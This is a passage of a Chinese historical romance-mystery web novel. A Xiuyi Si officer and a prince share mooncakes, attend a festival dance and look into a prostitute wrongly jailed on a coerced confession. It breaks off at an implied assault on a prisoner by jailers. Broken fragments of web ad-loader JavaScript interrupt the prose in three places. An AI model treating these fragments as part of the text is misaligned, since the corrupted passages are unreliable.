“这是我自己配的。有酸枣仁,酸酸的,再加上桑葚干,还有其他的果子干……” 他说个不停,李希言没有打断他,眼神也没有丝毫的不耐,只一口一口抿着茶,安静地听着。 “我这里还有好多,李少使等会儿拿些走吧。”容朗眨着眼睛,烛光不甚明亮,却恰好点亮他眼中的光。 李希言心里悄悄的变软了。 “那就多谢王爷了。” “不必客气!”容朗转身在身后的柜子上拿来一个木盒,把木盒往她的方向推了推。 李希言表情有些僵硬。 怎么总觉得他是早有预谋? 可是他那一双澄澈的眼睛看着她的时候,她又总觉得是自己想多了。 “多谢王爷。”李希言清了清嗓子,“王爷刚刚所言正事……” 容朗表情郑重了一些:“薛长史来信,沧州州府已经查出有十余人与渤海王余党有勾结。” “如何处置?” “押送京城。”容朗甩了甩手,“这种事情我管不了。但是有件事还是得先告诉你一声。薛长史这次彻查沧州,发现那些人还有不少联络点。” “联络点?” “没错,常见手段,假借商铺名义暗中刺探情报。”容朗拿出一个厚厚的信封,“这是查到的所有消息。” 李希言接过,掂了掂:“这些人……怕不是不止这么一点势力。” “我也是这样想的。”容朗手上摸着茶盏,“我想着绣衣司情报网最是隐秘又擅长探查,所以想请李少使帮忙揪出那些人。” 李希言没有任何犹豫就答应了。 这本就是绣衣司职责范围内。 他们连边关军情刺探都要管,更何况是这种谋逆的大事。 正事说完,那种不自在的感觉又黏了上来。 李希言理了理衣袖站起身准备告辞。 “王爷早些休息,我就不打扰了。” 容朗一下就急了。 自己刚刚在那儿收拾得这么“诱人”怎么一点用都没有! 他一下站了起来,想要喊住她,却忘记了此时自己穿的衣裳比平时宽大不少,一时不慎,脚下踩到衣裳,一下失去了平衡,重重摔倒在地。 已经背过身的李希言不敢置信地转过头又立刻转回去。 对方摔得这样丢人,她是装作不知道好呢?还是先把人扶起来好呢? 还没等她纠结出结果,容朗就替她做了决定。 “哎呦,好疼~”他故意缩了缩手,把伤口压在身下,“压到伤口了!李少使可以扶一下我吗~” 听上去就很疼,李希言听得于心不忍,转身蹲下,将他的胳膊搭在自己肩膀上,将人架了起来。 容朗借机耷拉下脑袋,歪着身子,靠近李希言的脖颈,深深吸了一口气。 啊啊啊啊!姐姐好香! 是姐姐身上才会有苦苦的香气! 他已经好久好久好久没有离姐姐这么近了! 摔得好值!好想蹭蹭! 看他摇摇晃晃的。 李希言脱口而出:“没摔到头吧?” 还沉醉着的容朗恍恍惚惚,也没听清她说什么就回答道:“唔……嗯……” 李希言看他都语无伦次了,还以为他真的摔到头了,立即把他架到软榻上坐下。 “你先躺一躺。”李希言的语气比平时柔和三分,“伤口没事吧?” 容朗把手藏在袖子里,暗自捏了捏拳头让肌肉鼓起。 “好像崩开了一点点……” 李希言撩开他的袖子一看,纱布上已经透出红色的血。 她急忙拆开纱布,果然,本来结好的血痂裂开了些,又有些流血。 “好疼……”容朗摸着胳膊,声音变得很细,“摔得好疼。” 李希言心想:应该是真疼,疼得声音都变了。 “那……” 容朗大概摸清她现在的性格了,怕她借机跑掉,连忙夹着嗓子装出一副极其虚弱的样子。 “李少使帮我上下药,可好?” 话都说到这个份上了,李希言只能应下。 “纱布在哪里?” 容朗歪斜斜躺着,无力地抬起手指向桌边的柜子:“就在最上面的抽屉里。” 李希言起身拿来纱布,利落往伤口上抖上药粉,一只手快速拿着纱布包扎好。 整个过程不过瞬息。 容朗收回蠢蠢欲动的手,忍不住瘪嘴。 怎么这么快啊…… 看着包扎地妥妥帖帖的伤口,李希言面露满意之色。 “李……” “小叔叔!“门被敲得当当响。 容朗合上眼:“滚进来。” 门被推开,瑞王挨挨蹭蹭走进来。 “小叔叔,我害怕。” 容朗怒吼。 “你怕个鬼!” 瑞王抬起头来想要回嘴,却一眼看见站在一边的李希言。 “呃!” 他捂着胸口,一屁股歪坐在凳子上。 “你怎么在这儿?” 李希言一本正经:“我害怕。” “我……我……你一个姑娘家大晚上在一个男子房中……多……多不好呀。” 李希言直接一掌招呼在他的脑袋上。 砰! 瑞王疼得眼泪都飚出来了:“干嘛又打人……” “小小年纪,学这一套不是找打是什么。” 容朗点头如捣蒜:“李少使为人正直,你说这种酸腐的话被打一下都是轻的。” “你们俩……怎么一唱一和的。”瑞王摸着脑袋。 他原来还指望着小叔叔能对付这个女阎罗呢! 李希言懒得理他:“你今晚在这儿也好,好好照顾你小叔叔。” 瑞王瞟了一眼容朗的伤处,一下就老实了。 “知道了。” 到底是他弄出来的事。 李希言提脚准备离开,却被瑞王拉住。 “先别急。” 李希言冷冷地盯着瑞王的爪子,瑞王一下缩回手。 “那个……那个破云咋样了?” “没事。” “真没事儿?我看它爪子还是有伤口的。” “破云和其他被驯的鹰不一样。它常在野外,没那么脆弱。”李希言说完再次转身。 瑞王又拉着她:“我还没问完呢!” “说。”李希言瞪了他一眼。 “它一直跟着我们吗?我除了那日在海上就没见过它啊!你们都不喂食的吗?” “一直跟着的。只是它平时都是自己找地方歇着,自己猎食。有时候没吃饱才会晚上跑回来讨食。” “一直跟着?我竟然没发现诶!” 容朗也有些意外:“这一路我也没注意到。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“这丫头能躲得很。只有我们主动叫它,它才出来。” 说起破云,李希言眼里难得流露出几分宠溺。 “这鹰是哪儿来的?这么有灵性?”瑞王作为一个合格的纨绔子弟,对鸟儿一直很感兴趣。 “越望养的。”李希言拍上他的肩膀,“等回京的时候您找他要一只?” 瑞王脸色巨变。 “还……还是算了吧。” 越望的性子虽然不像是李希言那般严厉,但是却更让容表害怕。 不为其他,只因为这个越望最爱唠叨,且无人能打断。 甚至经常在审问时,把犯人说得晕过去。 瑞王宁愿上李希言的课挨打挨骂,也不愿意被越望唠叨。 吓完瑞王,李希言心满意足地离开。 屋内只剩下叔侄二人。 刚刚在心上人面前装样的容朗一下拉下脸。 “你今晚上跑过来到底是干嘛!” 瑞王笑得很是讨好,挨着他坐下:“我害怕嘛。” “你到底怕什么?” 瑞王眉毛都愁成了八字。 “我这辈子都没见过那么多尸体……” 容朗想到自己的经历,叹了口气。 “感谢你爹,后宫环境好。” 他小时候在后宫,啥样的尸体没见过。 “你对先帝的怨气太重。” “对啊。”容朗大大方方地承认了,起身走到床边坐下,理了理床铺。 瑞王猫着腰跟过去:“理解。要是谁让我从小都不能吃肉,我也讨厌他。” 容朗躺下,往里挪了挪:“纠正一下。我在娘胎里的时候,都是素的。” “嗯?”瑞王不解,“啥意思?” 容朗微微起身,半躺着:“你皇祖母当时怀上我不久就被先帝以祈福为名义禁止吃荤腥了。” “啊?”瑞王惊讶,“我记得你回宫的时候都快七岁了,你怎么现在还能长这么高啊!” “因为啊……”容朗眉眼弯弯,“寺庙里面有会给小孩送肉饼的观音姐姐啊。” 船只顺流而下,速度飞快。 还未到八月十五就已经到了苏州附近的常州。 船是在常州下属的无锡县停下的。 刚刚到码头,一行人就引来了若有若无的围观。 瑞王觉得很不自在。 大家的眼神不太友好啊! 他低头看着自己黑漆漆的衣裳。 哼!不想穿。 后脚下船的李希言在他耳边低语:“不想穿就光着在大街上跑。” “你是鬼吗!”瑞王跳脚。 怎么连他在想什么都知道! “因为你头脑简单,想什么都放在脸上。”容朗今日温柔了不少,敲头的动作很轻。 然而,瑞王却比刚刚还要害怕,甚至缩到了李希言身后。 “嗯?”容朗上下打量着他,“你今儿是真吃错药了。” 瑞王眼珠子直转,显而易见的慌乱。 “呃……咱们住哪儿啊?” “驿站。” 瑞王大步跨在最前面。 “驿站好啊!驿站好啊!” 李希言:“真吃错药了。” 按照往常,这个臭小子一定会抱怨几句驿站吃得不好住得不好。 “或许,是懂事了?” 容朗这话一出,就连李希言都忍不住笑了一下。 怎么可能! 殊不知,走在最前面的瑞王腹诽着自己的小叔叔。 真吓人,大晚上的还在嘀嘀咕咕什么“观音”…… 31. 第三案 漫水桥上 无锡的驿站距离县衙倒是不远。 不过走了两刻钟就到了驿站。 驿站的驿长眼明心亮。 一瞧见一大片黑色绣衣就立刻迎了过来。 “鄙人见过各位大人。” 瑞王走在最前面,把包袱一放:“小二,来几间上房。” 驿长懵了一下。 几间啊? 知道这孩子又在抽风,李希言拿出一包银两塞给驿长。 “我们有二十四个人,麻烦安排至少一间上房,六间其他的房间。” 收了银两的驿长心里美滋滋的,脑子也转得飞快。 “马上要过节了,驿站里人少,有四间上房,八间中房,各位也能住得宽裕些。” 李希言颔首:“我们在这里住三日。” 驿长应下,立即招呼着驿卒喂马抬行李。 等一切收拾妥当,李希言又掏出些银两单独给了驿卒。 瑞王有些奇怪,等人走后才跑到门口堵着她,小声问道:“住驿站还要给钱?” 李希言有点不想解释。 容朗上前道:“驿卒都是被征来服役的,工钱极低,还会被上头的克扣。” “哦~我懂了。”瑞王大声道,“李少使还有发善心的时候呢。” 李希言知道他的小算盘,面色不改:“所以某人一直被我恶毒的对待,要反思自己。” “诶?怎么又骂我啊……” 容朗总结:“找骂。” “八月十六我们再出发。”李希言简单说完就回了房。 容表不太满意,撇了撇嘴:“干嘛不去苏州过中秋啊,非要在常州下船。” 容朗提醒道:“船上的船工有不少是常州人。” “她……”瑞王觉得有些不敢相信,“她对别人还挺好的……怎么就对我……” 容朗拍他的脑袋:“你有时候确实挺招人烦的。” “你现在怎么这样啊,老向着她说话,谁才是你的亲人啊!” 容朗欲言又止。 实话有些伤人,还是不说为好。 “你,好好写课业吧,小心今晚上李少使检查的时候……” 还未等他说完,瑞王就像是被踩了尾巴的猫一样跳了起来,火急火燎地跑了。 “糟了!我还有十篇字没写呢!” 快至中秋,以月饼闻名的圆祥饼铺门口排着一列长队。 队伍里什么人都有,只唯独有一人的穿着十分扎眼。 此人正是一个人跑来买月饼的容朗。 饼铺的老板抬起头:“客人要……” 看清了眼前之人的他一下卡了壳。 这人穿着豪奢不说,这满身的气度…… 虽然很多大户人家也吃他们的家的月饼,可也都是遣仆人来买的。 谁亲自来挤啊? 老板自觉自己做了一辈子的生意也算是开了眼。 “客人要些什么?” 容朗没有丝毫犹豫:“百果月饼来十个,再来五个椒盐五个鲜肉。” “好勒!” 老板手下动作飞快,将月饼分类打包好。 “您拿好……承惠……” 还不等老板说完,容朗就随意放下一锭银子慌忙走了。 这不多给了吗? 老板拿起银两。 算了,反正也不像是缺钱的主儿。 老板将银两放好。 心里却一直犯着嘀咕。 这人真怪,自己跑来买月饼还那么着急,富贵人家的公子哥就是难懂。 他无奈摇了摇头,又接着吆喝一声:“客人,您要买些什么呢?哟!是陈大啊!你不是去跑船了吗?怎么今儿就回来了,你娘知道了肯定高兴极了……” 容朗揣着月饼一路小跑着回了驿站,径直走向李希言的房间。 然而,他还未敲门,就被旁边的张锦叫住。 “小主子,李少使不在呢,刚刚小郎君来交课业,敲了好一会儿子的门,都没见她开门。” 容朗朝外一望。 太阳已经西斜。 她跑哪儿去了? 张锦被他怀里的东西吸引了注意,走上前问道:“您这是买了什么好东西给李少使啊?” 容朗这才想起怀里的月饼,连忙挑出鲜肉味的那一包,将它递给张锦。 “来,给你带的。” 是自己最爱吃鲜肉月饼。 张锦欢喜极了,脸上笑得红光满面,小心翼翼接过:“还有咱家的呢!咱家谢过小主子了。” 见他一副魂不守舍的样子,张锦怎么会不明白他在想什么。 “咱家怎么听说李少使去了县衙?” “县衙?她去县衙做什么?” “王爷找我有事?” 容朗循声转过头去。 只见李希言一脸倦色从外面走回来,手上还拿着一叠卷宗。 “我……”容朗紧张得几乎要出汗。 该怎么编理由呢? 张锦忽然出声:“哎呀!咱家先下去吃月饼了。” “月饼?”李希言一眼就看到了他怀里的月饼。 容朗会意,装出坦坦荡荡的样子。 “我刚好买了些当地特色,李少使可要一起?” “不必了。”李希言面色如常,“我不喜食甜。” 容朗错愕了一瞬间。 明明就爱吃齁甜的东西!老骗人! “那……” “李少使……”驿长忽然走了过来,一脸踌躇,“那个……就是……” “说。” “吴州的刘司马想要请您……” 李希言从容朗手里拿过月饼,晃了晃。 “本官和王爷约好了一起用饭。” 驿长本就不想揽这个差事,立即说道:“是是是……鄙人这就去给刘司马回话。” 容朗:感谢刘司马的馈赠。 “李少使,请。” 比起和绝对居心叵测的刘司马一起用饭,李希言宁愿选择或许居心叵测的容朗。 “嗯。” 李希言推开门,率先走了进去,将月饼放好。 桌上的茶水,她坐下后倒是热的上两盏茶。 容朗接过,抿了一口:“李少使这里的茶好香。” 李希言垂下眼。 茶水的颜色有些黯淡。 陈茶也会香?这也太客气了。 “这月饼是无锡这边的老字号,说是开了有五六十年了,滋味极美。今日我运气好,恰巧碰见刚出炉的,李少使回来得也巧,这月饼还热着呢……” 容朗一边叨叨着月饼的用料是如何的扎实,一边把月饼打开,示意她先用。 洁白如雪的饼皮上印着红彤彤的字,有些是椒盐,有些是百果。 容朗抢先道:“我爱吃椒盐的。” 李希言心底生出一丝丝隐秘的欢喜。 “那……我就吃百果的。” 二人各得其所爱。 酥皮一层层破开,馅料入口,饴糖淳甜,百果各有的各的酥脆,一起咀嚼,越嚼越香。 甜味过后,还有淡淡的清新橙丁的气息化去腻味。 再佐上一口微苦的茶,口内只剩下百果余香。 当真不错。 李希言食量不小,一口气就吃了五个。 她放下手。 今日吃得太多了些。 容朗也已经吃了个七分饱。 “李少使,这家的月饼可合你口味。” “很不错,甜而不腻。” 容朗见她眉目之间都是餍足,嘴巴一快。 “我就知道你喜欢这个。” 此话一出,李希言表情一下紧绷了起来。 她的口味就是身边的苗青等人都不甚清楚。 这人……怎么正正好就买到了她最爱的百果味月饼? 容朗想要住嘴已经 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来不及,只能干巴巴的找补。 “老板说,年轻的小娘子都喜欢这个……” 拙劣的谎言。 可是,不管如何观察,李希言也无法再这双眼里找到半分恶意与算计。 她退让了一步。 “手艺好,什么口味都是好吃的。” 笃笃—— “李少使?” 门外的人很陌生。 二人对视一眼。 谁啊? “李少使,在下刘屹。” 那个刘司马?怎么都找到门上来了? 李希言也不好再推脱:“请进。” 刘屹带着一个妙龄女子走近,主动行了一礼。 他和李希言平级,此时却做得如同他官职更低些似的。 “许久不见啊,李……”刘屹眼神一扫正巧看清了容朗的脸,“王……王爷?” “下官见过王爷。”刘屹心中懊恼。 怎么他也在! 难道这个李希言之前的话不是推脱? 早知道就…… 唉! 容朗忍着气,语气硬梆梆的。 “免礼。” 经不起夸的东西。 刘屹连忙起来:“下官打扰二位了。” 他姿态放的低,李希言也不好为难。 “不算打扰。” 刘屹陪着笑,擦了擦汗。 “这位是?” 李希言一眼就看向了他身边的妙龄女子。 狐狸眼瓜子脸,很标致的美人。 刘屹急忙解释:“李县令送来的,说是给在下……当个婢女使。” 官场的门道,李希言怎会不懂? 她心中虽然不满但是面上还是强忍着。 “刘司马连番想要寻我,可有何事?” 容朗没发话,刘屹也只能干站在门口,这让他分外窘迫。 “我听说谢荣犯了事?” 李希言一下拉下了脸:“这不是刘司马该过问的事。” 容朗直接下了逐客令:“刘司马请回。” 谢荣和刘屹是亲表兄弟。 他怎么也要多说几句。 “下官只是不明白,听韦家人说……” 李希言瞥了他一眼:“你要谢谢韦家,要不是他们,我还注意不到谢荣那档子事。” 这怎么和他听说的不太一样? 刘屹警觉,闭上了嘴。 “谢荣和韦家勾结,强逼无辜之人顶罪。”李希言冷笑,“没立即他拖出去砍脑袋已经是我现在脾气好了不少。” 刘屹听了这话,心中暗惊。 竟然还有这事儿! “在下确实……确实不知,这……” 李希言侧过脸摆了摆手。 真是丢人! 刘屹羞臊得不行,见她有意放过,立即行了个礼。 “下官,告退。” 二人没有做声,刘屹也没注意,行完礼就拉着人飞速跑了。 等回到房间,他才长出一口气。 可恶的韦家! 还说是谢荣被手下陷害! 害得他丢了这么大的人! “刘司马?” 女子的呼唤声让刘屹回过神。 “妾给您按一按。”女子一脸讨好按上他的肩膀,“这韦家真是可恶,竟然算计您。” 这话正说道刘屹心坎上。 “说来韦家和我家还算有些来往,没想到这次会算计我去惹那尊杀神。” “李少使为何对谢县令的事情那么生气?衙门里用些手段逼供不是常理吗?” “你不懂。”刘屹对贴心的美人总是多几分耐心,“这个李希言看着做事狠绝,实际上是个相当正直古板的人,最厌恶的就是刑讯逼供这样的事。当年京城的京兆府为了这事儿在她手底下折了四五个官员进去……” 女子眼神闪烁:“是么……还真是瞧不出呢……” 32. 玉烟 八月十五,夜。 “去嘛去嘛!” 瑞王扯着李希言的袖子甩来甩去。 李希言放下手里的书,语气颇为无奈。 “自己去。” 瑞王蹭到旁边坐下。 “李~夫子~中秋节诶,这样的团圆佳节,你都不出去散散心吗~” “吵闹。” “那叫热闹!”瑞王双手比划着,“我可听人说了,无锡这边的吃食可不错了,有什么海棠糕梅花糕蟹壳黄松糕……” 他一口气报出许多菜名儿。 李希言垂下头,喉咙微动。 瑞王双手合十,一脸祈求:“您想想,我一个人去多危险啊!您能放心吗?之前刺杀我的那些人可还没抓完呢。” “也是。”李希言放下书,理了理衣裳,“走吧。” “诶!您穿这样出去?” 李希言低头,她今日穿的还是官服。 有什么问题? “李夫子,您老人家穿这身衣服出去,就不怕吓着别人?唯一的好处就是没人敢挤我们。” 李希言也不喜欢引起别人注意,点头道:“我换一身,你在外头等着。” “你穿件红的呗。” 李希言把人直接推了出去。 就不穿红的! 容朗今日又特意打扮了一番,穿了一身白青色大袖衣,上面洋洋洒洒绣着白玉兰,配饰只以白玉为主,显得清雅无比。 “小叔叔!”瑞王小跑着下来,附在他耳边,“再等等啊。” 容朗回首看了一眼驿站门内。 “不急。” “我觉得你说的有理,李夫子确实应该去透透气。不然……她每天闷在房间里就尽想着怎么折腾我。” 容朗直言道:“别把自己看得太重要,别人李少使一天到晚都是忙的,哪里有空把你放心上。” 要想也是想我! 瑞王对他话中的深意毫无所觉,双手摊开。 “但愿如此哦。” 容朗转过身,面对着大门。 确实。 看了就招人烦。 轻微的脚步声响起。 容朗心中的烦躁一扫而空,紧紧盯着正对大门的楼梯。 脚步声越来越近,一下又一下,规律而稳定。 他的心也随着这频率跳动起来。 李希言身着一身飘逸的蟹壳青衣裳,衣裳没有任何装饰,行动之间,裙摆却似水波一般漾开。 容朗藏在袖中的手紧紧捏着。 “哎呀,你总算下来了,好慢哦!”瑞王一下冲到了二人之间,扯着李希言袖子。 李希言扯回自己的袖子:“一刻钟也慢?每日上学似拉磨的人没资格说这话。” 瑞王被骂习惯了,一点儿也没有反驳的意思,反而注意到她的衣袖。 “你好不容易穿个女装怎么还把袖子束起来?” “免得不方便打你。”李希言绕过他,对容朗打了声招呼,“王爷也在。” “嗯……在……”容朗眼神飘忽。 瑞王又把脑袋伸过来:“苗青他们呢?” “他们今早就去了。” “那么早!”瑞王冲了出去,“快走快走!” 他走得快,恰巧留下了二人。 夏热初退,秋风凉爽,明月高悬。 路边的叫卖声,人群的嘈杂声,都只让人觉得热闹。 容朗闲话道:“苗青他们怎么去那么早?” “看歌舞。” “歌舞?中秋灯会还有歌舞。” “听说是本地青楼的花魁表演,很有名气。” “李少使要去看吗?” 李希言看着前面蹦蹦跳跳的背影。 “不去能行吗?” 臭小子那爱凑热闹的性子,怎么可能不闹着要去? “确实……不行。” 距离灯会愈发近了,前面的天色已经被照得有些发白。 一望无际的太湖上已经零零星星飘着几盏河灯。 “卖糖葫芦了!” “卖糖人儿!” 两家相邻的摊子像是较劲儿似的喊着。 容朗停下脚步。 李希言顺着他的视线看过去。 一个王爷还喜欢小孩的吃食? “李少使在这儿等一等。”容朗向着摊子走去。 李希言看他那么高大一个人挤在一群小孩儿里挑着糖葫芦糖人儿,嘴角不由翘起一点点。 皇室子弟还有这样单纯心性的? 容朗一手拿着两串红彤彤的糖葫芦一手拿着两个兔子形状的糖人,胳膊上还吊着几包糕点。 “来,李少使。”他走过来,伸出手,将糖葫芦和糖人儿直接塞到她手里。 下意识要拒绝的李希言没法再开口。 “多谢王爷。” “别这样客气啊。”容朗向前倾身,小声道,“你现在这样叫我被别人听见不太好吧?” “容郎君。”李希言的声音还是很板正。 “李娘子~”三个字在容朗嘴里绕了三个弯。 听上去好像很奇怪? 可具体哪里奇怪,李希言也说不出口。 她随口咬下糖人,碎裂的糖渣在嘴里化成甜。 “好吃吗?”容朗扭头,眼里满是笑意。 对着这样一张脸,饶是李希言也没法煞风景。 “不错。” “这家的糖和京城西市涂家的味道很相似呢。”容朗状似无意提起了涂家,余光一直仔仔细细地瞄着李希言的神情。 她原来给自己带的糖都是涂家买的。 “王……容郎君知道涂家?” 京城东西两大集市,东市的客人大多是住在城东的达官贵人,西市则是普通百姓常去的地方。 身为皇子的他,怎么会知道西市卖糖人儿的涂家? “很奇怪吗?”容朗疯狂暗示,“我幼时有个好友常给我带涂家的糖人。” “哦。” 李希言反应很平淡。 “她还常给我带涂家隔壁的糖葫芦,明明自己只有一根,还骗我说她吃过了。” 容朗说完,侧过身,直直看着她。 李希言被他看得眼皮子都跳了两下,好一会儿挤出一句:“你那位好友还挺会吃。” 西市最好吃的糖葫芦和糖人儿就是这两家了。 “呵!”容朗皮笑肉不笑,“她哪里都好,就是记性特别差!很笨很笨,还没良心……” 身边骤然一空。 容朗慌乱地四处张望。 只见李希言已经追上了前面的瑞王,提溜着他的领子,不知道在骂他什么。 哼! 容朗大步走过去,一掌拍到了瑞王头上。 “又惹她生气?” 瑞王无辜,瑞王委屈。 “我没有!” 他好好的走在前面,先是女阎罗莫名其妙跑来说他走没走相,又是自己的小叔叔跑来拍他脑袋。 冤枉死了! 李希言顿时心虚。 “咳,也不是什么大事。”她放缓了语气,往前一指,“苗青他们就在前面,等会儿和他们一起去看歌舞吧。” 瑞王这才吸了吸鼻子作罢,又欢欢喜喜地往前走。 不远处,绣衣司的人也瞧见了他们, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 招着手让他们过来。 三人加快了脚步。 苗青喜滋滋向前跑了几步。 “今儿运气真不错,听说今日表演歌舞的是玉烟。” 李希言皱眉:“玉烟?” “哦,是他们这里很厉害的一个舞伎,平日里见一面都难,今日不知为什么能请到她。” 瑞王很是兴奋:“我还没见过外头的人跳舞呢!” 太湖边上,台子已经搭好。 因为是临时的台子,搭建得并不奢华,只是面积大些,木台被漆上了红漆,台面上铺着一大面绣着吉祥纹样的地毯。 台前还放着不少桌椅。 苗青在指了指前面的一个位置。 “卫川老早就订好了位置,我们先去坐吧,马上就要开始了!” 卫川的位置选得很好,正中间第三排,不近不远,正正好能把台上的美景尽收眼底。 “小郎君,你还没见过这外头的歌舞吧?今儿让你开开眼界!”卫川扬了扬眉。 “这外头的有哪些不一样啊?” 卫川颇为老道:“家里的嘛,限制多,穿着舞步编排都有忌讳,外面呢就没有这些规矩了。听说今晚啊,这玉烟姑娘要扮演的就是嫦娥仙子……” 咚咚。 两声圆润的琵琶声如玉珠滚盘。 卫川立即停下了话头。 “要开始了,你看了就知道了。” 现场安静下来后,琵琶声逐渐变快,又加进来几阵笛声…… 乐曲渐渐显出曲调。 身着白衣的“嫦娥仙子”也攀着一根绸带飞上了台。 厉害! 李希言这才认真去看。 这个舞伎功夫不错啊。 等看清了人脸,她挑了挑眉。 狐狸眼瓜子脸。 是刘屹身边那个女子。 “好漂亮!”瑞王拉着卫川,“真的很像仙女啊。” 李希言对于舞蹈乐器一窍不通。 看了几眼就看不下去了,发着呆放空自己。 她身边的容朗也没看,一直专心致志地剥着瓜子。 卫川不满:“你们俩咋回事儿啊!我花了钱的,你们看都不看?” “看不懂。”二人异口同声。 瑞王小声道:“小叔叔五音不全呢!” 卫川想笑又不敢,憋得脸都红了。 还是关风和直接笑了出来:“少使也这样,有什么好笑的!” 被无辜牵连的李希言:“你说这话的时候能不能先别笑。” 容朗不甚在意这一点。 “没法子的事,我天生不懂这些。”他玩笑道,“平日里哼都不敢哼几声,怕别人以为是谁家的羊走丢了。” 众人一下被他逗笑了。 就连李希言也笑了一下。 这个长乐王也忒实诚。 卫川擦了擦眼角笑出来的眼泪。 “这样看,还是少使要好一点,动静还是人的动静。” 李希言板脸:“再说,现在就唱给你们听。” 关风和拱手:“别别别!大王饶命!” “去你的。” 歌舞渐歇,一行人准备离开。 一个陌生的声音忽然拦住了几人。 “李少使!请等一等!” 刚刚还在台上风光无限的“嫦娥仙子”,此时却慌慌张张地提着衣裙跑了过来,仪态全无,满脸哀求。 李希言转身顿住脚步:“玉烟?有何事?” 玉烟还喘着粗气:“李少使,请借一步说话。” 四周人还是不少,确实不是个说话的地方。 “好。” 33. 监牢 舞台之后,四处都是忙碌的人在收拾着残局。 玉烟将一行人带到僻静的地方,一下跪了下去。 “李少使,奴家有事相求。” 李希言一把扶起她:“有什么事说就是了。” 玉烟脸红了红:“是奴家一时激动了。” “不着急。”李希言冷静的声音安抚着她,“慢慢说。” 玉烟咬了咬嘴唇。 “奴家有个姐妹被人诬陷杀了人,现在还被关在牢里,等秋后就要处斩了!李少使,请您帮帮奴家。” “诬陷?具体如何?说来听听。” “是……” 玉烟是从小在青楼长大的,有个和她一起长大的小姐妹叫做锦园。 前年,锦园和常来青楼的一个书生私下有了孩子。 老鸨是个意外没那么狠毒的,竟然愿意放锦园自由,只要一百两银子赎身。 锦园自己给了赎身银子,就跟着书生走了。 然而还没到半年。 玉烟就在私娼园子里瞧见了锦园。 原来,那书生根本就不想要她,拿了她的银钱就跑了。 受了打击的锦园没了孩子又伤了心,破罐子破摔,跑到了私娼园子里度日。 玉烟自己也不得自由,二人很少有机会见面,只能尽力劝她。 眼见着锦园眼里恢复了光彩,却又出了事。 就在上个月,玉烟找机会去找锦园,却被人告知锦园杀了人,被抓进了县衙大牢! 她怎么也不相信锦园会杀人,想尽办法进了牢狱探望她。 “锦园当时一看就是吃了大苦头,她说她没有杀人,是那个官儿对她用了刑才认的罪!李少使,李少使……”玉烟满脸是泪,拉着她又要跪下,“我们是妓子,没人愿意帮忙申冤,求求您求求您。锦园老早就和我说好,等她存够了银子就不干这个了,好好的,她怎么会杀人呢?” 李希言扶住她,心里酸涩得很。 “这案子,我会帮你复查。” 玉烟不敢置信地捂住了嘴。 她怎么也没想到对方会这么轻易就答应下来。 “我……奴……奴家谢谢您。”玉烟高兴得语无伦次,手脚都不知道放哪里才对。 “你先回去,今日衙门没人,明早本官就去看一看。” 这样明确的保证。 玉烟又是千恩万谢,直到青楼的人几番催促下才离开。 倩影远去。 瑞王却呆呆的,回不过神。 “回去了。”李希言给了他一个脑瓜崩。 “哦……” 一路上,对众人的情绪倒是影响不太大,只有瑞王一直沉默着。 “想什么呢?”身为长辈的容朗,很有长辈模样的关心他。 “我……”瑞王抬起头。 李希言和容朗一左一右,看着他,目含关切。 “我是想……为什么同样都是和人……该怎么说呢,算是私奔吧?”瑞王一脸纠结,“为什么韦娘子和那位锦园姑娘结局却完全不一样呢?” 容朗笑着摇头:“二者的区别在于,徐令诚可不是会逛青楼的人。那个书生……”他不屑一笑,“本身就不是什么好东西。” 李希言赞同地点头。 “别想太多。这种人多的是,不然……这世间也不会有那么多青楼了。” 她视线微偏。 不远处,一身白衣的玉烟被扶上了矮□□仄的轿子。 四名轿夫抬起轿子,脚步飞快。 乌云遮月,轿子逐渐被黑暗吞没。 心里一直记挂着昨日的事情,一大早,李希言就收拾停当下了楼。 然而,有人比她更早。 一个人影负手站在门口,像是等了很久。 “王爷?” 容朗不好意思的笑了笑:“昨晚一直睡不好,今日想和李少使一起去看看。” 李希言没有拒绝。 “王爷,请。” 容朗真是被她的客气弄得又气又不自在,但是还是撑着一张笑脸和她说话。 “李少使似乎对这案子已经胸有成竹?” 李希言眉头轻蹙。 “我昨晚忽然想起一事。” “哦?什么事?” “上个月正好是杨利贞在常州的时候。” “杨利贞是何人?” “先帝在时是刑部侍郎。” 容朗闻言皱了皱眉:“怎么是他?不过,这和他有什么关系。” “等到了就知道了。” 县衙已经开了门。 衙役也还算精神饱满,无人偷懒。 见二人一来,守门的衙役就战战兢兢地走上前行礼。 “小的见过大人。” 李希言摆手:“你们老爷呢?” 衙役暗自打量她的神色。 冷冰冰的。 看上去不像是来找麻烦的。 “二位大人先进来坐坐?小的这就让人去请?” “去监牢。” “监牢?”衙役的声音一下尖利了起来。 这是来找麻烦的啊! “那……那小的这就带二位去。” 反正他守了一辈子的门,没沾手过那些事儿,砍脑袋也不会砍到他的头上。 他朝另外一个年轻些的衙役使了个眼色。 “还不快去请老爷到监牢里去,上官有事要找他。” 李希言知道他是通风报信,也不在意。 “带路吧。” 衙役抬手一引,带着二人往里走去。 “不知大人是要提审哪个犯人。” “女牢,锦园。” 衙役脸色陡然一变。 “所以快点,别想着耍什么花招。” “您……您这是什么话……”衙役已经猜到了李希言的身份,“李少使……这……这事情……和小的也没关系啊。” 李希言看都没有看他一眼。 衙役脚步更快了。 不过一刻,三人就到了监牢门口。 监牢不大,门口却空荡荡的,没有一个人。 “咦?”衙役吓了一跳,向前窜了几步张望着,“老张?袁小子?” 他的声音在里面回荡,没有回应。 二人走上前。 李希言:“带路就是。” 衙役尴尬一笑,往右边转去:“也不知道人去哪儿了……这……这可能是吃的东西不干净都跑肚拉稀了,小的……” “噤声。”李希言忽然拉下了脸。 另外二人都下意识屏住了呼吸。 安静之后,耳边的声音越发明晰。 李希言心头窜起一把怒火。 前方黑洞洞的,她径直冲了过去。 容朗不明所以,但还是立刻跟了上去。 脏污的牢房,女子的尖叫,五个面容狰狞的男人…… 李希言抽出刀,一把将刀飞了出去。 “滚开!” 衙役吓得魂飞魄散。 这些人怎么…… 容朗别过了视线。 “什么人?” 五个穿着油腻腻的狱卒衣裳的男人转过头,脸上横肉直抖,眼中的凶光未消,瞳孔看上去像是一条竖线一般。 衙役连忙挡在中间,呵斥着几人。 “你们疯了!这是绣衣司的李大人!还不快行礼!” 